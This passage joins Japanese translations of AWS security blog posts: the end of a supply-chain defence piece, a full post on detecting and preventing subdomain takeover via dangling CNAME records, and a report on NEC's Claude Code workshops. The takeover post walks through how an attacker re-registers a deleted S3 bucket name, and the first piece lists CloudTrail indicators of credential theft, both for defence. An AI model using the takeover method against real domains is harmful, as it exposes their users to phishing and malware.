が早期に特定され、お客様が具体的に対処し、すばやく修復できる検出結果が提供されました。一方で、スキャンを有効にしていてもアラート疲れに陥っていた組織では重要なアラートを見逃した可能性があり、アラートの適切なルーティングと優先順位付けの重要性が浮き彫りになりました。 図 3: 悪意のあるパッケージの検出結果を表示している Amazon Inspector コンソールのスクリーンショット 詳細なガイダンスについては、「 SEC11-BP02: 開発およびリリースライフサイクル全体でテストを自動化する 」を参照してください。 ログ記録とモニタリングを設定する 異常な振る舞いを早期に検出するには、アクティビティを可視化することが不可欠です。ログ記録を設定し、分析できるようにログを一元化します。 アプリケーションとサービスのログ記録を有効にします 複数のアカウントにわたるログを一元化してモニタリングします GuardDuty を使用して、悪意のあるアクティビティや異常な API コールを継続的にモニタリングします AWS Security Hub で検出結果を集約し、 AWS Config で設定のベストプラクティスを適用します CloudTrail のログは、認証情報へのアクセスや API アクティビティの監査証跡となります。サプライチェーンのインシデントに対応する際は、CloudTrail ログを確認し、認証情報の侵害や悪意のあるアクティビティを示す特定のイベントを探してください。具体的には、想定外の IP アドレスやリージョンからの sts:AssumeRole の呼び出し、見慣れないソースからの secretsmanager:GetSecretValue または ssm:GetParameter の呼び出し、CI/CD パイプラインを経由せずに開発者のワークステーションから実行された ecr:PutImage 、通常のデプロイ時間帯以外に実行された lambda:UpdateFunctionCode 、直後に API アクティビティが続く iam:CreateAccessKey 、通常とは異なる IP アドレスからの codecommit:GitPush または codebuild:StartBuild などです。 Amazon EventBridge ルールと組み合わせれば、Amazon Inspector が悪意のあるパッケージを検出したときや、こうした通常とは異なる認証情報へのアクセスパターンが発生したときに、自動対応をトリガーできます。 最近のサプライチェーン攻撃の影響を受けた組織は、CloudTrail の分析によって認証情報の漏えい範囲を判断し、侵害された認証情報でアクセスされた可能性のあるリソースを特定しています。このフォレンジック機能は、影響範囲を把握し、修復を漏れなく行うために不可欠です。 詳細なガイダンスについては、「 SEC04: 検出 」のベストプラクティスを参照してください。 多層防御戦略を構成するこれらの要素が連携して機能することで、最初の侵害後の被害の拡大を防ぎ、イベントの検出と対応を支援します。図 4 に、これらの要素の全体像を示します。 図 4: 防御アーキテクチャを示す図 その他のベストプラクティス Well-Architected フレームワークのセキュリティの柱では、組織のあらゆる側面でセキュリティプロセスを改善するのに役立つ、組織的なベストプラクティスも提供しています。関連するベストプラクティスとしては、「 SEC11-BP01: アプリケーションセキュリティのためのトレーニングを実施する 」、「 SEC11-BP08: ワークロードチームにセキュリティオーナーシップを組み込むプログラムを構築する 」、および「 SEC10: インシデント対応 」があります。 まとめ Shai-Hulud、Chalk/Debug、tea.xyz などの最近のインシデントは、脅威アクターがアタックサーフェスの拡大と攻撃の拡散を狙い、パッケージレジストリ、CI/CD パイプライン、開発者の認証情報を継続的に標的にしていることを示しています。侵害されたメンテナーアカウントや悪意のあるパッケージが 1 つあるだけで、数千もの利用者の環境に同時に被害が広がる可能性があります。この記事で紹介した制御は、こうした脅威モデルを念頭に置いて設計されています。一時的な認証情報は、盗まれたトークンが攻撃者にとって持つ価値を限定し、依存関係の一元管理とアップストリームのブロックはレジストリレベルでアタックサーフェスを縮小します。アーティファクト署名により、ビルドパイプラインが侵害されても、署名されていないアーティファクトが本番環境に到達することはありません。さらに、ソフトウェアライフサイクル全体で依存関係をスキャンすることで、侵害されたパッケージを影響が出る前に早期に特定できます。レイヤーを重ねるごとに、脅威アクターが付け入る隙は狭まっていきます。 詳細情報 このトピックをさらに詳しく知るには、次のブログとワークショップを参照してください。 サプライチェーン攻撃への防御策: Chalk/Debug 侵害と Shai-Hulud ワームの対応事例から Amazon Inspector がトークンファーミングキャンペーンに関連する 15 万件以上の悪意ある npm パッケージを検出 最近の npm サプライチェーン攻撃への対応から AWS Security が学んだこと Amazon CodeArtifact パッケージグループ設定を使用してソフトウェアサプライチェーンのセキュリティを強化 Hands-on Workshop: Enhancing Supply Chain Security Trevor Schiavone Trevor は、アプリケーション開発とアーキテクチャのバックグラウンドを持つ Senior Solutions Architect です。ビルダーの視点を活かし、お客様が AWS 上で安全かつスケーラブルで革新的なソリューションを設計できるよう支援しています。また、アプリケーションセキュリティとアイデンティティを重点分野として、AWS のセキュリティコミュニティでも積極的に活動しています。 Desiree Brunner Desiree は、AWS EMEA Security & Compliance チームに所属し、規制業界のお客様を担当する Security Specialist Solutions Architect です。DevOps とプラットフォームエンジニアリングのバックグラウンドを活かし、お客様が安全でコンプライアンス要件を満たすクラウド環境を設計できるよう支援しています。メンタルヘルスと知識の共有に情熱を注いでおり、AWS のイベントで定期的に登壇するとともに、各チームのクラウドセキュリティの取り組みを支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 6 月 16 日に公開された AWS Blog “ Threat tactic spotlight: Subdomain takeover ” を翻訳したものです。 このブログ記事では、サブドメイン乗っ取り (subdomain takeover) を検出して防止する方法を説明します。サブドメイン乗っ取りとは、脅威アクターがダングリング DNS レコード (dangling DNS record) を悪用し、トラフィックを攻撃者が管理するリソースにリダイレクトする手口です。この記事では、この問題の概要と発生する仕組みを説明し、さまざまな AWS の機能やサービスを使用してこの手口の影響を緩和する方法を紹介します。 責任共有モデル では、クラウド内の設定のセキュリティを確保することはお客様の責任です。AWS は、強固なデフォルト設定、 Well-Architected フレームワークのセキュリティの柱 のガイダンス、およびセキュリティサービスを通じて、お客様がその責任を果たせるよう支援しています。また、AWS Customer Incident Response Team (AWS CIRT) は、お客様の特定の設定を悪用するために脅威アクターが使用する新たな手口や流行している手口を監視しています。これにより、お客様は十分な情報に基づいて設計上の判断を下し、対応計画を改善できます。 AWS CIRT は、サブドメイン乗っ取りの機会を狙う脅威アクターが、既に存在しないリソースを指すパブリック DNS の CNAME レコードを積極的にスキャンしていることを確認しています。 注: サブドメイン乗っ取りの手口は、AWS サービスの脆弱性を利用するものではありません。ダングリング DNS レコードを悪用して、トラフィックを攻撃者が管理するリソースにリダイレクトするものです。 DNS の基礎知識 CNAME レコード: CNAME (Canonical Name) レコードは、あるドメイン名を別のドメイン名に向ける DNS エントリです。例えば、api.example.com が api.example.s3-website-us-east-1.amazonaws.com を指すように設定できます。DNS のこの機能により、実際のリソースには機械的に生成された長い AWS ホスト名が割り当てられていても、お客様は覚えやすくわかりやすいドメイン名を設定できます。ただし、ターゲットのリソースを削除した後もそれを指す CNAME レコードが残っていると、「ダングリング」レコードとなり、セキュリティ上の問題が生じます。 ダングリングレコード: リソース (S3 バケットなど) を削除した後もそれを指す DNS レコードが残っている場合、その DNS レコードは存在しないリソースを指す「ダングリング」状態になります。グローバルに共有される名前空間内のリソースの場合、脅威アクターが削除済みのリソース名を取得し、お客様の DNS レコードを通じて悪意のあるコンテンツを配信できる可能性があります。 サブドメイン乗っ取りとは？ サブドメインとは、ドメインの前に付加するプレフィックスで、リソースへのアクセスを整理するために使用します。サブドメイン乗っ取りは、お客様が基盤となるリソースを削除した後、脅威アクターが同じ名前で新しいリソースを作成し、そのリソースを指したまま残っている DNS レコードを悪用することで発生します。 サブドメイン乗っ取りが起こり得るのは、グローバルに共有される DNS 名前空間を使用する AWS リソースを CNAME レコードが指している場合です。このような名前空間では、AWS のお客様であれば誰でもリソース名を選択できます。次の AWS リソースがこの条件に該当します。 Amazon S3 (グローバル名前空間): mybucket.s3.amazonaws.com のようなバケット名はグローバルに一意であり、バケットが削除されると、どのアカウントでもその名前を取得できます。注: アカウントリージョナル名前空間 (2026 年 3 月にリリース) を使用して作成された S3 バケットは、スコープがお客様のアカウントに限定されるため、この問題の対象にはなりません。 Amazon CloudFront: d111111abcdef8.cloudfront.net のようなディストリビューションのドメイン名は AWS によって割り当てられるため、攻撃者が選択することはできません。ただし、お客様がディストリビューションを削除した後、別のお客様が新たに作成したディストリビューションにたまたま同じドメイン名が割り当てられると、ダングリング CNAME を通じて、そのお客様のコンテンツが配信される可能性があります。 AWS Elastic Beanstalk: myapp.elasticbeanstalk.com のような環境名はグローバルに一意であり、環境を終了すると、どのアカウントでもその名前を取得できます。 Amazon VPC、Amazon EC2 インスタンス、プライベートホストゾーンなどのリソースは、グローバルに取得可能な DNS 名前空間を公開していないため、この手口の対象にはなりません。 MITRE ATT&CK では、この手法を T1584.001: Compromise Infrastructure – Domains に分類しています。 シナリオ例の分析 次のシナリオを考えてみましょう。 S3 ウェブサイトエンドポイントを指す DNS CNAME レコードを作成したとします。これにより、サブドメイン subdomain.example.com は subdomain.example.s3-website-us-east-1.amazonaws.com に解決され、subdomain.example という名前の S3 バケットからコンテンツが配信されます。チームがバケットを削除した際に DNS レコードの削除を忘れると、サイトにアクセスしたユーザーには、バケットが存在しないことを示すエラーが表示されます。しかし、この時点で脅威アクターがこのエラーに気付いてそのバケット名を取得すると、独自のサイトを構築できてしまいます。ユーザーが subdomain.example.com サイトにアクセスすると、そのサイトが表示されることになります。 図 1 は、静的ウェブサイトをホストするように設定された subdomain.example という名前の S3 バケット (グローバルに一意なバケット名) と、その S3 ウェブサイトエンドポイント subdomain.example.s3-website-us-east-1.amazonaws.com を示しています。 図 1: 静的ウェブサイトとして設定された S3 バケット 図 2 に示すように、Amazon Route 53 を使用して、Amazon のドメイン名に解決される CNAME レコードを作成します。これにより、ユーザーはわかりやすい名前でアクセスでき、URL に含まれる長い S3 ウェブサイト名を覚える必要がなくなります。 図 2: オリジンバケットを指す CNAME レコードが設定された DNS リゾルバー その後、お客様の AWS 管理者は S3 バケットからのコンテンツ配信を停止することにし、 図 3 に示すようにバケットを削除します。 図 3: CNAME レコードを削除せずにリソースを削除 S3 バケットは削除されたものの CNAME レコードが残っているため、DNS レコードはダングリング状態になります。脅威アクターはこの状況を突き止め、 図 4 に示すように、自身が管理する AWS アカウントで同じグローバル名 subdomain.example を持つ新しい S3 バケットを作成します。これにより脅威アクターは、この新しいバケットからコンテンツを配信できるようになり、その中には悪意のあるコンテンツが含まれる可能性もあります。ユーザーはこの切り替えに気付かず、見覚えのある URL から配信されているように見えるため、コンテンツを信頼して subdomain.example.com へのアクセスを続けます。 図 4: サブドメイン乗っ取りの発生 サブドメイン乗っ取りによって想定される影響 次のような影響が考えられます。 評判へのリスク: DNS レコードが指している脅威アクターのサイトから配信されるコンテンツはお客様が管理できないため、組織の評判が損なわれるリスクがあります。 フィッシングキャンペーンにさらされる可能性: 組織内のユーザーがサブドメインをブラウザにブックマークしている場合、リソースが既に利用できないことを知らないまま、マルウェアをホストしているサイトや、ユーザーの認証情報を詐取するフィッシングに使用されているサイトに、何の疑いもなくアクセスしてしまう可能性があります。 ブロック: サブドメインが悪意のあるアクティビティを理由にセキュリティベンダーからフラグ付けされると、業務に影響が及ぶ可能性があります。 経済的損失: サブドメイン乗っ取りのインシデントに対応する間、サービス提供が中断される可能性があり、経済的な影響が生じる場合があります。 プロアクティブな検出 AWS Config によるプロアクティブな検出 プロアクティブに検出するには、AWS Config を使用して Route 53 の CNAME レコードを継続的に監視し、ターゲットのリソースがアカウント内に存在することを確認します。 前提条件: この方法では、監視対象のリソースタイプ (S3 バケット、CloudFront ディストリビューション、Elastic Beanstalk 環境) に対して AWS Config レコーダーを有効にしておく必要があります。AWS Config で記録されていないリソースタイプは、インベントリチェックに表示されません。詳細については、「 コンソールを使用した AWS Config のセットアップ 」を参照してください。 DNS 解決チェックではなく AWS Config インベントリを使用する理由 一般的な方法は、CNAME が有効なエンドポイントに解決されるかどうかを確認することです。しかし、この方法には重大な欠陥があります。攻撃者が既にリソースを取得している場合、DNS 解決は成功します。ただし、その解決先はお客様のリソースではなく攻撃者のリソースです。応答しているリソースがお客様の所有物ではないことに気付く手がかりはありません。 AWS Config に記録された設定項目をクエリすれば、その DNS 名で単に 何か が応答するかどうかではなく、リソースが お客様の アカウントのインベントリに存在するかどうかを確認できます。この方法なら、乗っ取りが既に発生した後でも、ダングリング CNAME を正しく特定できます。 実装方法: アカウントレベルと組織レベルのスコープ リファレンス実装では、単一のアカウント内の AWS Config インベントリをクエリします。そのため、アカウント A の CNAME レコードが、同じ AWS 組織内のアカウント B に正当に存在するリソースを指している場合でも、ルールはそのレコードを NON_COMPLIANT としてフラグ付けします。 アカウント間でリソースを共有している組織では、AWS Config アグリゲータを使用するようにソリューションを変更できます。AWS Config アグリゲータは、組織内のすべてのアカウントを対象にリソースインベントリをクエリします。これは、IAM Access Analyzer がアカウントレベルと組織レベルの両方のスコープをサポートしているのと同様の考え方です。この方法を使用するには、組織レベルの AWS Config アグリゲータを事前に設定しておく必要があります。また、Lambda 関数の IAM ロールには config:SelectAggregateResourceConfig 権限が必要です。 AWS は、まずはシンプルなアカウントレベルのスコープから始め、環境にクロスアカウントのリソース共有が含まれる場合は組織レベルに拡張することをお勧めします。 基本的な考え方は、Route 53 ホストゾーンの CNAME レコードをクエリするカスタム AWS Config ルールを作成することです。このルールは、各 CNAME のターゲットを解析し、S3、CloudFront、Elastic Beanstalk などの既知の AWS リソースパターンを指しているかどうかを判断します。パターンに一致した CNAME ごとに、ルールはターゲットを AWS Config インベントリと照合し、リソースが実際にアカウント内に存在するかどうかを確認します。リソースが見つからない場合、ルールは CNAME レコードを NON_COMPLIANT としてマークし、レビューが必要なものとして提示します。 AWS Config ルールでは、次の既知の AWS リソースパターンを対象とします。 S3: *.s3.amazonaws.com, *.s3-website-<region>.amazonaws.com 訳注: S3 ウェブサイトエンドポイントは、リージョンによって s3-website.<region>.amazonaws.com (ドット形式) になる場合もあるため、検出パターンではこの形式も考慮してください。参照: Amazon S3 ユーザーガイドの「 ウェブサイトエンドポイント 」 CloudFront: *.cloudfront.net Elastic Beanstalk: *.elasticbeanstalk.com 注: 外部のサードパーティサービスを指す CNAME レコードは、参照先のリソースが AWS Config インベントリに含まれないため、この検出メカニズムの対象外です。 AWS Config ルールによる NON_COMPLIANT の検出結果は、AWS Security Hub に送信して一元的に可視化したり、SNS 通知をトリガーしてセキュリティチームにアラートを送ったりできます。 図 5: ダングリング DNS 検出ソリューション リファレンス実装: AWS は、この検出方法の完全な実装を、 オープンソースのソリューションとして公開 しています。このソリューションでデプロイされる Lambda 関数は、すべての Route 53 ホストゾーンから CNAME レコードを検出し、パターンマッチングを使用して S3、CloudFront、Elastic Beanstalk を指すターゲットを特定します。続いて、AWS Config インベントリをクエリし、各ターゲットリソースがアカウント内に引き続き存在するかどうかを確認します。ダングリングレコードを検出すると、Security Hub で重要度 HIGH の検出結果を生成します。オプションで SNS 通知を送信し、セキュリティチームにアラートを送ることもできます。また、継続的なコンプライアンス追跡のための CloudWatch メトリクスダッシュボードも含まれています。 デプロイ: # Clone the repository git clone https://github.com/aws-samples/sample-dangling-dns-detection cd sample-dangling-dns-detection # Build the Lambda deployment package ./scripts/package.sh # Upload to S3 aws s3 cp dist/dangling-dns-detection.zip s3://YOUR_BUCKET/ # Deploy the CloudFormation stack aws cloudformation deploy \ --template-file infrastructure/template.yaml \ --stack-name dangling-dns-detection \ --parameter-overrides \ LambdaCodeS3Bucket=YOUR_BUCKET \ EvaluationFrequency=TwentyFour_Hours \ --capabilities CAPABILITY_NAMED_IAM このスタックは、指定したスケジュール (デフォルト: 24 時間ごと) で実行される AWS Config カスタムルールを作成します。このルールは、すべての CNAME レコードを評価し、コンプライアンスステータスを報告します。 影響の緩和 サブドメイン乗っ取りを緩和するには、予防のための手順と、発生時の対応能力の両方が必要です。 予防: 標準作業手順 最も効果的な緩和策は、リソースのプロビジョニング解除に関する標準作業手順を定め、基盤となるリソースより先に DNS レコードを確実に削除することです。 DNS ゾーン内で、プロビジョニング解除を予定しているリソースの完全修飾ドメイン名 (FQDN) を指す CNAME レコードを削除します。 DNS の TTL が期限切れになるまで待ってから、リソースを削除します。DNS リゾルバーは TTL の期間中レコードをキャッシュします (例えば、TTL が 3,600 の場合、リゾルバーは最大 1 時間、古いレコードを返す可能性があります)。TTL が期限切れになる前にリソースを削除すると、キャッシュされた CNAME エントリによってトラフィックがまだそのリソースに向けられている間に、脅威アクターがリソース名を取得できてしまう可能性があります。 不要になったリソースをプロビジョニング解除します。 削除した CNAME レコードについて DNS チェックを実行し、その名前がリソースに解決されなくなったことを確認します。 重要な原則: 必ず最初に DNS レコードを削除し、TTL が期限切れになるのを待ってから、リソースを削除してください。この順序を守ることで、ダングリングレコードが悪用される隙をなくすことができます。 予防: S3 のアカウントリージョナル名前空間 前述のとおり、AWS は 2026 年 3 月に Amazon S3 汎用バケットのアカウントリージョナル名前空間 を導入しました。これは S3 固有の乗っ取り経路の緩和に向けた意義のある一歩ですが、運用上の重要な制限事項に注意する必要があります。 既存のバケットには適用されません。 グローバル名前空間で既に作成されたバケットは、アカウントリージョナル名前空間に移行できません。これらのバケット名はグローバルに一意のままであり、バケットを削除すると誰でもその名前を取得できます。 グローバル名前空間が引き続きデフォルトです。 コンソール、CLI、SDK のいずれで新しいバケットを作成する場合も、グローバル名前空間がデフォルトで選択されたままです。新しいオプションを知らないお客様は、今後もグローバルスコープのバケットを作成し続けることになります。 既存の IaC テンプレートは更新が必要です。 アカウントリージョナル名前空間の使用を明示的に選択していない既存の Infrastructure as Code (IaC) テンプレート (CloudFormation、CDK、Terraform) では、引き続きグローバル名前空間でバケットがプロビジョニングされます。CloudFormation の場合は、BucketNamespace プロパティを account-regional に設定します。その他の IaC ツールについては、それぞれのドキュメントで同等の設定を確認してください。組織は、テンプレートを監査し、オプトインするよう更新する必要があります。 こうした理由から、この記事で説明したダングリング DNS の検出方法は引き続き不可欠です。既存の S3 インフラストラクチャを持つ組織や、同等の名前空間のスコープ設定が用意されていない CloudFront および Elastic Beanstalk のリソースについては、特に重要です。 対応: 通知と修復 ダングリング DNS レコードが検出されると、「プロアクティブな検出」セクションで説明したリファレンスソリューションは、AWS Security Hub で重要度 HIGH の検出結果を自動的に作成し、AWS Config で CNAME レコードを NON_COMPLIANT として報告します。デプロイ時に SNS トピック ARN を指定すると、E メール、Slack、その他のチャネルを通じて通知を送信し、セキュリティチームや運用チームにアラートを送ることもできます。本番環境では、ヒューマンインザループのワークフローを検討してください。チームメンバーが通知を確認し、DNS レコードの削除を実行前に承認する仕組みです。これにより、一時的な問題の発生時に正当なレコードを誤って削除することを防げます。 リファレンスソリューションには、コンプライアンスステータスと評価メトリクスを経時的に追跡するための CloudWatch ダッシュボードも含まれています。これにより、チームはホストゾーン全体の DNS の健全性を継続的に可視化できます。 注: 完全に自動化された修復 (DNS レコードの自動削除) にはリスクが伴い、誤検知によって正当なサービスが中断される可能性があります。AWS は、まずは検出と通知から始め、検出精度と運用の成熟度に応じて自動化を検討することをお勧めします。 まとめ サブドメイン乗っ取りは、防止可能な設定ミスでありながら、組織に重大な影響を及ぼす可能性があります。多層防御のアプローチを取ることで、最も効果的に保護できます。 予防: 基盤となるリソースのプロビジョニングを解除する前に DNS レコードを削除する標準作業手順を導入します。 検出: AWS Config カスタムルールを使用して、アカウント内に存在しなくなったリソースを指す CNAME レコードをプロアクティブに特定します。 対応: SNS または Security Hub を通じて通知を設定し、ダングリングレコードが検出されたときにチームが迅速に対応できるようにします。 監視: CloudWatch ダッシュボードを使用して継続的な可視性を確保し、DNS の健全性とコンプライアンスステータスを追跡します。 重要なのは、DNS を適切に管理すること、つまり CNAME レコードが存在しないリソースを指している状況を把握することが、第一の防御策になるという点です。AWS Config による自動検出は、運用手順が機能しなかった場合のセーフティネットになります。さらに、問題を検出したときにすぐ実行できる対応用のプレイブックを用意しておけば、影響を抑え、平均復旧時間を短縮できます。 Matthew Gurr Matthew は、AWS Customer Incident Response Team (AWS CIRT) のアジアパシフィック地域における Senior Incident Response lead です。お客様がセキュリティイベントに事前に備えられるよう支援することに情熱を注いでいます。余暇には、サイクリング、音楽、読書を楽しんでいます。 Luis Pastor Luis は AWS の Senior Security Solutions Architect で、Infrastructure Security and Compliance Technical Field Communities を率いています。金融サービス、ヘルスケア、小売の各業界のエンタープライズのお客様に向けてセキュリティアーキテクチャを推進しており、クラウドセキュリティの変革と規制コンプライアンスフレームワークを専門としています。AWS に入社する前は、ハイブリッドクラウド環境でセキュリティソリューションを設計していました。 Geoff Sweet Geoff は 1990 年代後半からこの業界に携わっています。電気工学の分野でキャリアをスタートし、ドットコムブームの時期に IT 業界に入りました。これまでに、システムアーキテクト、ネットワークアーキテクト、そしてここ数年はセキュリティアーキテクトなど、さまざまな役割を担ってきました。Geoff はインフラストラクチャセキュリティを専門としています。 Ariam Michael Ariam は AWS の Solutions Architect です。Worldwide Public Sector のさまざまなお客様、特に SLG (州政府・地方自治体) および連邦政府の民生機関のお客様を支援してきました。セキュリティ、特にデータ保護に情熱を注いでおり、お客様による暗号化の実装やベストプラクティスの実践を支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

日本電気株式会社（以下、NEC）・Anthropic Japan 合同会社（以下、Anthropic）のご協力を得て、AWS がお届けします。本稿では、大規模な組織で生成 AI ツールの展開・定着化に課題や関心をお持ちの方に向けて、NEC の実践事例から組織展開の具体的な施策をご紹介します。 NEC は日本および海外の NEC グループへの Claude 展開を進めています。全社員（最大 12 万人）向けに Claude Desktop on Amazon Bedrock を展開しており、その詳細は こちらの記事 をご参照ください。そして開発の現場では、約 3 万人の AI ネイティブエンジニア体制の構築を目指し、Claude Code on Amazon Bedrock の活用拡大を進めています。その取り組みの一環として、いち早く現場で実践する人材を増やすため、2026 年 7 月 16 日と 8 月 25 日の 2 回にわたり、NEC と AWS の共催で「Claude Code ワークショップ」を開催しました。8 月 25 日の応用編には Anthropic もゲストとして登壇しています。延べ 158 名が参加し、座学だけでなく、実際に手を動かしながら業務適用のアイデアを練り、チーム間で共有する機会となりました。 この 2 回のワークショップを含め、NEC の Claude Code 全社展開を支える SI サービス CoE（Center of Excellence）の取り組みとイベント当日の様子を、NEC 金竹氏からの寄稿、Anthropic 服部氏のコメント、企画・運営を担当した AWS 西部の振り返りを通じてお伝えします。 寄稿：NEC 金竹氏 ― 参加者の反応から見えた、次の一手 開催背景：NEC が考える Claude Code 全社展開の成功要因 NEC エンジニアリング推進統括部 金竹です。NEC は、Amazon Bedrock 上で Claude Code の全社展開を進めています。Claude Code を約 3 万人規模へ展開するにあたり、以下の 3 つを重要な成功要因と考えています。 各事業部門における推進体制 (部門 CoE) の構築 チャンピオン制度 Skills ※1 による知見の標準化 ※1 Skills とは、AI エージェントの機能を拡張するモジュール式の仕組みで、業務の手順やノウハウ、スクリプトなどをまとめておくと、AI エージェントが関連するタスクで自動的に読み込んで使用します。 SI サービス CoE として全社規模のエンジニアに浸透させるには、自部門だけでは手の届く範囲に限界があります。そこで、各事業部門内に、連携する推進体制 (部門 CoE) を構築し、実際に活動をリードするチャンピオンを育成することで、現場の業務特性に即した活用拡大を進めています。 今回のワークショップは、AWS 様と NEC が企画・運営した全社的なイベントで、各事業部門の中でチャンピオン候補となるメンバーの実践スキルを底上げする機会として位置づけていました。8 月 25 日の応用編では Anthropic 様にも参加いただき、三社協働での体制を構築しました。ワークショップは、基本操作の習得と業務適用のアイデア出しを行う「入門編」と、実践的な開発プロセスへの組み込み方を体感する「応用編」の 2 段構成です。特に応用編は、前述の各事業部門の推進体制から推薦された中級者に限定して実施し、今後チャンピオンとして現場をリードしていく人材の実践力を高めることを狙いました。 7 月 16 日：入門編 – Claude Code の基本操作と業務適用アイデア発見 初級・中級者を対象に、基本操作と業務適用のアイデア出しをテーマとしました。座学とハンズオンで Claude Code の基本を学んだ後、グループワークで「自分たちの業務にどう活かせるか」を議論し、その場で Claude Code を使ってプレゼン資料やモックを作成、チーム間で発表・質疑を行いました。 ハンズオンコンテンツは AWS での Claude Code 入門 を活用しました。Workshop Studio で公開されているので、ご興味のある方はぜひお試しください。 8 月 25 日：応用編 – 個人の活用からチームの活用へ、ハーネスエンジニアリング実践 各事業部門の推進体制から推薦された中級者に対象を限定し、「ハーネスエンジニアリング」 ※2 の実践をテーマとしました。座学や NEC 社内標準の Skills の紹介に加えて、SI 事業に関する業務を題材としたゲーム形式のハンズオンを通じて、ハーネスエンジニアリングの考え方を実践していただきました。この回には Anthropic 様からゲストが登壇し、AWS 様と Anthropic 様のパートナーシップの概要や Claude Code を中心とした最新動向を紹介いただくとともに、相談会にも参加いただきました。 ※2 ハーネスエンジニアリングとは、AI モデルの周辺に用意する指示・知識・ツールなどの仕組み（ハーネス）を業務プロセスに応じて設計する考え方です。 参考：NEC と各社の戦略的協業 NEC、米国AWSと日本で初めてコーポレートレベルの戦略的協業を締結 (2020年11月13日): プレスリリース | NEC NEC、Anthropic とエンタープライズAI分野を中心に戦略的協業を開始 (2026年4月23日): プレスリリース | NEC ワークショップを通じて得た手応え 入門編は、定員 100 名に対して募集開始から即満席になるなど想定を超える反響がありました。参加後のアンケートでは、Claude Code を開発業務で活用したいと回答したメンバーが 93%、満足度は 88% に達し、参加者の当事者意識の高さを改めて実感しました。「Claude Code の機能や使い方など、まだまだ使いこなせていないことを実感した」「業務への活用イメージが持てた」という声が多く、チャットでの利用が中心だった参加者にも、アプリケーション作成までの体験を通じて具体的な活用イメージを持ってもらえたと感じています。 応用編では、SI 事業の実務そのものを題材にしたゲーム形式のハンズオンにより、単発のプロンプトでは終わらない、業務プロセスを分解してハーネスを組み込む考え方を体感できました。「すぐにでも実業務に実践可能と感じた」「個人単位でなくグループ単位で活用するための学びと気づきがあった」という声が寄せられており、個人の Claude Code 活用から、チーム・部門単位での活用へ発想を切り替えるきっかけになったと考えています。 現場で見えてきた学びと課題 社内では、人材育成と並行して、開発現場のユースケースをよりクイックにカバーするため、標準的な Skills を展開する取り組みも進めています。要件定義から設計、製造、テストまでの各工程に対応した専門 Skills を整備することで、個々のエンジニアが試行錯誤するコストを抑え、NEC が長年にわたり有識者やベテランエンジニアが蓄積してきた知見・ノウハウを、AI が活用可能な形で現場に展開していくことを目指しています。 今回のワークショップで扱ったハーネスエンジニアリングは、そのための重要な考え方の一つです。イベントで得た学びをその場限りにせず、参加者が実際の開発現場で活用し、得られた知見や改善点を Skills に反映する。そして、その Skills を他のチームやプロジェクトにも展開し、さらに磨き上げていく。この継続的なサイクルを通じて、個人の経験を組織の資産へ変え、AI ネイティブ開発を全社的に加速していくことを期待しています。 一方で、イベント後の相談会では、AI をどこまで信頼し、どう向き合うか、など現場ならではの悩みも多く寄せられました。参加者が実業務での Claude Code 活用に向けて、本格的に動き出したことを示しています。 また、ハンズオン中には、実行環境に起因するトラブルも複数発生しました。展開を広げていくうえでは、環境面を改善し利用者体験を向上していくことも、今後の展開を左右する重要な要素です。 今後の展望 今回のワークショップで高まった熱量を維持して活動を加速するために、NEC では次のような取り組みを進めていきます。 継続的な人材育成施策 — 基本的なトレーニングコンテンツに加えて、各事業部門のチャンピオン向けにはより高度な内容を準備するなど、AWS 様・Anthropic 様とも連携しながら、対象者層別に適切な育成施策を継続していきます。 コミュニティの活性化 — 各現場で良い取り組みを横展開できるように、SI サービス CoE メンバーや各事業部門のチャンピオンを中心とした、事例共有・相互学習の場の形成を支援します。現場発の知見が自然に広がっていく構造を目指します。 ユースケースの拡充と業務プロセスの標準化 — SI サービス CoE や、各事業部門のチャンピオンを起点に、各現場でのユースケースを拡充・蓄積していくとともに、ハーネスエンジニアリングや Skills 整備といった取り組みを通じて、業務プロセスの標準化を進めていきます。個別の活用にとどまらず、組織として再現性のある開発プロセスを確立することを目指します。 これらの取り組みは、NEC だけで完結するものではありません。AWS 様や Anthropic 様にお力添えいただきながら連携して進めていきます。本取り組みを一過性のイベントで終わらせず、全社展開を支える継続的な枠組みに育てていきたいと考えています。 おわりに (AWS 西部) 本ワークショップの企画・運営を担当した AWS カスタマーソリューションマネージャー 西部がワークショップを振り返ります。 まず印象的だったのは、参加者の熱量の高さです。当日は大変盛況で、最後まで議論が絶えませんでした。この熱量の背景には、SI サービス CoE を中心として、現場の関心を日頃から育ててきた素地があります。ツールの導入とあわせて「使いたい人を増やす」土台をどれだけ築けているかが、全社展開の速度を左右することを実感しました。 また、参加者の反応からは、生成 AI 活用の焦点が「個人の生産性向上」から「開発プロセスへの組み込み」へ移りつつあることを確信しました。単発のプロンプトの工夫よりも、業務プロセスにどう組み込むかという議論に参加者の関心が集まっていたのが印象的です。NEC が進める Skills 整備や業務プロセスの標準化は、この転換を組織として先取りする取り組みです。 NEC の強力なリーダーシップのもと、AWS の Amazon Bedrock 構成の知見と業務理解、Anthropic のモデル・プロダクトの知見がこの取り組みを支えています。三社が協力することで単独では得られない価値を生み出せると感じています。この三社の協働について、Anthropic の服部氏は次のように語っています。 「NEC 様とは戦略的協業以降、SI サービス CoE の皆さまと継続的に連携しながら Claude の全社展開をご一緒してきました。今回の Claude Code ワークショップは、NEC 様が築いてこられた推進体制と、AWS 様のご支援があってこそ実現できた取り組みです。相談会では、AI とどう向き合うかといった現場ならではのお悩みを直接伺うことができ、今後の支援のあり方を考えるうえで大きなヒントをいただきました」 ― Anthropic Japan 合同会社 服部 佑樹 氏 2 回のワークショップを通じて、NEC の SI サービス CoE を中心とした Claude Code 活用の裾野を広げることができました。参加者からは全社展開や継続開催を望む声も多く寄せられており、AWS は今後も NEC・Anthropic とともに、各事業部門の推進体制とチャンピオンを軸とした Claude Code 活用の定着化を支援していきます。 日本電気株式会社について NEC は、125 年以上の歴史を有する、AI やサイバーセキュリティ、通信などの技術を強みとするグローバルテクノロジー企業です。社会と産業の AI トランスフォーメーションを推進する IT サービス事業と、日本をはじめ世界の安全保障に貢献する社会インフラ事業を展開しています。業種横断の先進的な知見と最先端技術を結集し体系化した価値創造モデル「BluStellar (ブルーステラ)」を中核に、世界に革新と安心を届け、誰もが人間性を十分に発揮できる社会の実現を目指します。 著者について 金竹 香織 日本電気株式会社 SI サービス CoE 部門 エンジニアリング推進統括部 プロフェッショナル 生成 AI 活用に向けた人材育成に従事。生成 AI 活用人材の育成体系、研修・ワークショップの企画運営等を通じ、社内における開発業務活用の定着化を推進しています。 服部 